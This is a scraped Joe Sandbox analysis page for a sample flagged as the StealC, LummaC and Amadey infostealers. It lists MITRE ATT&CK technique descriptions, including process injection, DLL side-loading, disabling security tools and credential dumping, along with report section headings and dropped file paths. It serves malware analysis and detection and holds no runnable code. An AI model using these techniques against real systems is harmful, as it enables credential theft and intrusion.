Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report R2CgZG545D.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CAKEBFCF

C:\ProgramData\CAKEBFCFIJJKKECAKJEH

C:\ProgramData\CGCFCBAKKFBFIECAEBAEBGCGDG

C:\ProgramData\DGHIDAFCGIEHIEBFCFBA

C:\ProgramData\GCBKFBFC

C:\ProgramData\IDBFHCGCGDAAKFIECFHDBKFBFH

C:\ProgramData\KJKEHIIJJECFHJKECFHD

C:\ProgramData\freebl3.dll

Windows Analysis Report
R2CgZG545D.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre